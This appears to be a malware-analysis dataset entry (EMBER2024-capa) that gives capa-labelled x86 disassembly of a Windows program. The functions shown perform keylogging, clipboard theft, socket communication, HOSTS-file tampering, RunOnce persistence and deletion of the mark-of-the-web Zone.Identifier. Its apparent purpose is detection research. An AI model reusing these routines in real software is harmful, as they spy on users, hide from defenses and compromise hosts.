joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a05
Capabilities:
Get graphical window text
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
test edi, edi
je 0x403a2c
push dword [ebp + 0xc]
push eax
push edi
call fcn.004653c0
add esp, 0xc
xor eax, eax
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x403a40
push dword [ebp + 0x14]
push eax
push esi
call fcn.004653c0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
je 0x403b74
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov dword [ebp + 0x10], eax
test eax, eax
je 0x403b6d
mov ecx, dword [0x4b61e8]
test ecx, ecx
je 0x403ab6
mov edx, eax
mov ax, word [ecx]
cmp ax, word [edx]
jne 0x403aa6
test ax, ax
je 0x403aa2
mov ax, word [ecx + 2]
cmp ax, word [edx + 2]
jne 0x403aa6
add ecx, 4
add edx, 4
test ax, ax
jne 0x403a80
xor eax, eax
jmp 0x403aab
sbb eax, eax
or eax, 1
test eax, eax
je 0x403b6d
mov eax, dword [ebp + 0x10]
mov ecx, eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0xc]
jne 0x403abb
push dword [0x4b61e8]
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
mov dword [ebp + 8], eax
call fcn.004645c4
push dword [ebp + 8]
call fcn.004645fc
mov dword [0x4b61e8], eax
pop ecx
pop ecx
test eax, eax
je 0x403b02
push dword [ebp + 8]
push dword [ebp + 0x10]
push eax
call fcn.00463680
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
cmp dword [0x4b61e8], 0
je 0x403b7a
test esi, esi
je 0x403b2c
push dword [ebp + 0x14]
push esi
mov esi, dword [ebp - 8]
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x403b2f
mov esi, dword [ebp - 8]
test edi, edi
je 0x403b66
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [ebp - 4], 0
je 0x403b66
push dword [ebp - 4]
call fcn.0040395f
mov esi, eax
pop ecx
test esi, esi
je 0x403b66
push esi
push dword [ebp + 0xc]
push edi
call fcn.004654a3
push esi
call fcn.004645c4
add esp, 0x10
mov eax, dword [0x4b61e8]
jmp 0x403b7c
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403bac
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x12]
mov edx, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov ebx, ecx
push 6
pop ecx
push 2
stosd dword es:[edi], eax
mov dword [ebp - 0x34], ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [ebp - 0x2e]
rep stosd dword es:[edi], eax
xor ecx, ecx
stosw word es:[edi], ax
pop eax
push 0x17
pop edi
mov word [ebp - 0x14], ax
cmp esi, edi
lea eax, [ebp - 0x30]
mov word [ebp - 0x30], di
cmovne eax, ecx
cmp esi, 2
push eax
lea eax, [ebp - 0x14]
cmovne eax, ecx
push eax
push dword [ebp + 0x10]
push edx
call fcn.0046176a
add esp, 0x10
push dword [ebx + 0x10]
push dword [ebx + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_socket]
push 0x1c
pop ecx
push 0x10
pop edx
mov dword [ebx], eax
xor bl, bl
cmp esi, 2
cmove ecx, edx
lea edx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x14]
cmovne ecx, edx
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
mov eax, dword [ebp - 0x34]
jne 0x403c4d
xor ebx, ebx
inc ebx
mov byte [eax + 4], bl
jmp 0x403c55
push dword [eax]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret 0xc

Function at 0x403e31
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ecx]
or eax, 0xffffffff
cmp edx, eax
je 0x403e51
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
add eax, dword [ebp + 0xc]
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
pop ebp
ret 0x10

Function at 0x403ee6
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ecx]
or eax, 0xffffffff
cmp edx, eax
je 0x403f06
push dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
add eax, dword [ebp + 0xc]
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
pop ebp
ret 0x10
Function at 0x403fa5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
xor edi, edi
cmp dword [0x4b61f0], edi
jne 0x40404e
push str.GetDiskFreeSpaceExW
push str.kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x4b61f0], eax
test eax, eax
je 0x40404e
push esi
push 0xfffe
call fcn.004618ae
pop ecx
mov esi, eax
push esi
push 0x7fff
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
test eax, eax
je 0x404046
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call dword [0x4b61f0]
test eax, eax
je 0x404037
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
shrd ecx, eax, 0x14
shr eax, 0x14
mov eax, dword [ebp - 0xc]
mov dword [edx + 0x35c], ecx
mov ecx, dword [ebp - 0x10]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [edx + 0x360], ecx
jmp 0x404046
mov eax, dword [ebp + 8]
mov dword [eax + 0x360], edi
mov dword [eax + 0x35c], edi
push esi
call fcn.0046189d
pop ecx
pop esi
mov dword [0x4b61f0], edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4045f0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0x40
pop esi
push esi
call fcn.004618ae
mov edi, eax
pop ecx
push edi
mov dword [edi], esi
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov edx, dword [edi + 8]
mov ecx, dword [edi + 0xc]
mov esi, dword [ebp + 8]
shrd edx, ecx, 0x14
push edi
shr ecx, 0x14
mov dword [esi + 0x20c], edx
mov ecx, dword [edi + 0x10]
mov eax, dword [edi + 0x14]
shrd ecx, eax, 0x14
shr eax, 0x14
mov dword [esi + 0x210], ecx
mov eax, dword [edi + 4]
mov dword [esi + 0x214], eax
call fcn.0046189d
pop ecx
pop edi
pop esi
pop ebp
ret
Function at 0x404a35
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x18]
xor ebx, ebx
push edi
test esi, esi
je 0x404a4f
mov eax, dword [ebp + 0x14]
mov ecx, esi
mov byte [eax], bl
inc eax
dec ecx
jne 0x404a49
push dword [ebp + 0x1c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404a0c
mov edi, eax
add esp, 0xc
test edi, edi
je 0x404a8c
lea eax, [ebp + 0x18]
mov dword [ebp + 0x18], esi
push eax
push dword [ebp + 0x14]
push ebx
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a83
xor ebx, ebx
inc ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404a91
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x4e
pop edx
push 0x65
pop eax
push 0x74
pop ebx
push 0x41
mov word [ebp - 0x26], ax
pop eax
push 0x50
mov esi, dword [ebp + 8]
mov word [ebp - 0x22], ax
pop eax
push 0x49
pop ecx
push 0x33
mov word [ebp - 0x20], ax
pop eax
push 0x32
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
push 0x65
mov word [ebp - 0x18], ax
pop eax
mov byte [ebp - 0x13], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
lea eax, [ebp - 0x30]
push eax
push esi
mov word [ebp - 0x28], dx
mov word [ebp - 0x24], bx
mov word [ebp - 0x1e], cx
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x12], bl
mov word [ebp - 0x11], 0x7355
mov word [ebp - 0xe], 0x4772
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], cl
mov dword [ebp - 9], 0x6f666e
mov dword [ebp - 0x30], 0x40
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x404b55
lea ecx, [ebp - 0x2c]
push ecx
push 1
push esi
push 0
call eax
test eax, eax
jne 0x404b55
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0xc]
mov dword [esi + 0x104], eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x404b65
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_IsWow64Process]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_GetNativeSystemInfo]
mov eax, dword [ebp + 0xc]
xor ecx, ecx
cmp word [ebp - 0x24], cx
setne cl
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x404d70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push str.a_ccsUTF_16LE
push eax
call fcn.00465780
push esi
mov edi, eax
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.004654a3
lea ecx, [ebp - 0x204]
add esp, 0x14
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404db6
sub ecx, edx
lea eax, [ebp - 0x204]
sar ecx, 1
push edi
push ecx
push 2
push eax
mov dword [0x4b61f4], ecx
call fcn.004656fe
push edi
call fcn.00464a02
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x405b4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0xc
call fcn.0046273d
pop ecx
mov ecx, eax
xor edx, edx
test ecx, ecx
je 0x405b69
mov edi, ecx
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jmp 0x405b6b
mov ecx, edx
xor eax, eax
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ecx + 8], eax
lea eax, [ebp - 4]
push eax
push edx
push ecx
push 0x405c13
push edx
push edx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x405b9b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x40
xor esi, esi
lea eax, [ebp - 0x50]
xorps xmm0, xmm0
push esi
push eax
movdqu xmmword [ebp - 0x10], xmm0
call fcn.004653c0
add esp, 0xc
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x10]
xor edi, edi
inc edi
mov dword [ebp - 0x28], edi
push eax
lea eax, [ebp - 0x54]
mov word [ebp - 0x24], di
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x405bfd
push edi
push esi
push esi
push dword [ebp + 8]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x405c0d
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405c7e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x22c
mov ebx, ecx
push edi
call fcn.0046273d
mov esi, eax
pop ecx
test esi, esi
je 0x405ca7
push edi
xor edi, edi
push edi
push esi
call fcn.004653c0
add esp, 0xc
jmp 0x405cab
xor edi, edi
mov esi, edi
mov dword [0x4b62b4], esi
mov dword [esi], edi
mov eax, dword [0x4b62b4]
mov byte [eax + 0x210], 1
mov eax, dword [0x4b62b4]
add eax, 0x214
push eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov esi, dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.0045c745
push dword [0x4b62b4]
mov ecx, esi
call fcn.0045c772
mov eax, dword [0x4b62b4]
mov ecx, esi
add eax, 0x200
push eax
call fcn.0045c75b
mov eax, dword [0x4b62b4]
mov ecx, esi
add eax, 0x204
push eax
call fcn.0045c75b
mov eax, dword [0x4b62b4]
mov ecx, esi
add eax, 0x208
push eax
call fcn.0045c75b
mov eax, dword [0x4b62b4]
mov ecx, esi
add eax, 0x20c
push eax
call fcn.0045c75b
movzx eax, byte [ebx]
mov esi, edi
mov byte [ebx + 1], 1
sub eax, edi
je 0x405d5b
dec eax
je 0x405d54
dec eax
je 0x405d4d
dec eax
jne 0x405d60
mov esi, 0x40609a
jmp 0x405d60
mov esi, 0x405ed9
jmp 0x405d60
mov esi, 0x4061e9
jmp 0x405d60
mov esi, 0x406382
mov eax, dword [0x4b62b4]
mov ebx, edi
cmp dword [eax + 0x208], edi
jle 0x405d90
push edi
push edi
push eax
push esi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [0x4b62b4]
inc ebx
cmp ebx, dword [eax + 0x208]
jl 0x405d6f
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x406687
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push 0x330
mov eax, 0x4813f0
call fcn.00462feb
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x32c]
mov esi, dword [ebp + 8]
xor edi, edi
push eax
mov ecx, ebx
mov dword [ebp - 0x334], esi
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], edi
call fcn.0045c75b
mov eax, dword [ebp - 0x32c]
sub eax, edi
je 0x406796
dec eax
je 0x4066e3
dec eax
jne 0x40687c
test esi, esi
je 0x406883
jmp 0x40687c
lea eax, [ebp - 0x320]
mov ecx, ebx
push eax
call fcn.0045c75b
mov esi, edi
cmp dword [ebp - 0x320], esi
jle 0x406714
lea eax, [ebp - 0x31c]
mov ecx, ebx
add eax, esi
push eax
call fcn.0045c745
inc esi
cmp esi, dword [ebp - 0x320]
jl 0x4066fb
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.driversetcHOSTS
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov esi, 0x80
lea eax, [ebp - 0x114]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push edi
push esi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406883
push edi
lea eax, [ebp - 0x338]
push eax
push dword [ebp - 0x320]
lea eax, [ebp - 0x31c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40687c
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.driversetcHOSTS
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push edi
push edi
push 3
push edi
push 1
push SysReAllocString
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
push edi
call fcn.00461d70
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 0x33c]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
lea ecx, [ebp - 0x328]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x328]
push 0x13
call fcn.0045c7e9
push 0
lea ecx, [ebp - 0x328]
call fcn.0045c7e9
push edi
lea ecx, [ebp - 0x328]
call fcn.0045c7e9
push edi
push esi
lea ecx, [ebp - 0x328]
call fcn.0045c86b
mov ecx, dword [ebp - 0x334]
lea eax, [ebp - 0x328]
push eax
call fcn.00403510
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.0045c702
mov ebx, dword [ebp - 0x330]
mov ecx, ebx
call fcn.0045c6f6
call fcn.00462f9a
ret

Function at 0x4069e5
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0
push 0x406889
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b62fc], eax
ret
Function at 0x406ae1
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x1fe
mov esi, 0x4b6520
mov dword [0x4b6500], eax
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, 0x4b6720
mov cx, word [eax]
cmp cx, word [esi]
jne 0x406b3c
test cx, cx
je 0x406b38
mov cx, word [eax + 2]
cmp cx, word [esi + 2]
jne 0x406b3c
add eax, 4
add esi, 4
test cx, cx
jne 0x406b16
xor eax, eax
jmp 0x406b41
sbb eax, eax
or eax, 1
test eax, eax
je 0x406b4a
call fcn.004069fc
xor ecx, ecx
movzx eax, word [ecx + 0x4b6520]
lea ecx, [ecx + 2]
mov word [ecx + 0x4b671e], ax
test ax, ax
jne 0x406b4c
lea eax, [ebp - 0x28]
push eax
push dword [0x4b6500]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.004645fc
pop ecx
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 7
pop ecx
mov edx, eax
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push edx
push 0
push 0x10
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
movsx ecx, cx
push ebx
push ecx
push ecx
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp byte [ebp + 0xc], 1
lea eax, [ebp - 0x24]
pop edi
pop esi
pop ebx
push dword [0x4b62f8]
push eax
jne 0x406bd3
call dword [sym.imp.USER32.dll_CharUpperW]
push eax
call fcn.00406c3c
pop ecx
pop ecx
push 0
call fcn.0040e9f1
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x406cc2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406cd7
xor eax, eax
pop ebp
ret
and eax, 0x10
pop ebp
ret

Function at 0x406cdc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x202
call fcn.00461d70
mov esi, eax
mov dword [esp], 0x200
xor eax, eax
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.004653c0
mov edi, 0x101
push edi
push 0
push esi
call fcn.004653c0
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push esi
test eax, eax
jne 0x406d48
call fcn.0040e9f1
pop ecx
xor eax, eax
jmp 0x406d65
push 0
push 0x483a04
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
jne 0x406d63
push esi
jmp 0x406d3e
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x406e30
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x224
mov eax, 0x481469
call fcn.00462feb
push 0x208
call fcn.00461d70
mov edi, eax
mov dword [ebp - 0x21c], 7
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x220], ebx
mov word [ebp - 0x230], ax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
mov dword [esp], 0x206
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004653c0
push 0x104
push ebx
push edi
call fcn.004653c0
add esp, 0x18
lea eax, [ebp - 0x218]
push eax
push 1
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push eax
call fcn.00403068
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov esi, 0x483d38
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
push dword [0x4b9b30]
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x406f22
mov esi, dword [0x4b9b30]
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov esi, 0x483d38
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x230]
mov eax, dword [ebp - 0x220]
cmovae ecx, dword [ebp - 0x230]
add eax, eax
push eax
push ecx
push edi
call fcn.00463680
add esp, 0xc
lea ecx, [ebp - 0x230]
push ebx
push 1
call fcn.00402b64
mov eax, edi
call fcn.00462f9a
ret
Function at 0x406f61
Capabilities:
Bypass mark of the web
Copy file
Create directory
Delete file
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
push 0x230
mov eax, 0x4812b1
call fcn.00462feb
call fcn.00406e30
mov esi, eax
mov dword [ebp - 0x238], esi
call fcn.00406d96
mov ebx, eax
lea eax, [ebp - 0x234]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
mov dword [ebp - 0x23c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
xor edi, edi
test eax, eax
js 0x406fd3
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
push ebx
push 1
push edi
push dword [0x4b9b38]
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push esi
call fcn.00406cc2
pop ecx
test eax, eax
jne 0x407017
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
push edi
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
xor eax, eax
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], edi
mov word [ebp - 0x230], ax
push ebx
mov dword [ebp - 4], edi
call fcn.00403068
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov edi, str.:Zone.Identifier
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x230]
call fcn.00402c50
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
cmp byte [0x4b9b3c], 0
je 0x4070cb
call fcn.00406e30
mov edi, eax
call fcn.00406d96
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov ebx, eax
push 2
push edi
call esi
push 2
push ebx
call esi
push edi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
mov ebx, dword [ebp - 0x23c]
mov esi, dword [ebp - 0x238]
pop ecx
pop ecx
push esi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
pop ecx
pop ecx
push 0
push 1
lea ecx, [ebp - 0x230]
call fcn.00402b64
call fcn.00462f9a
ret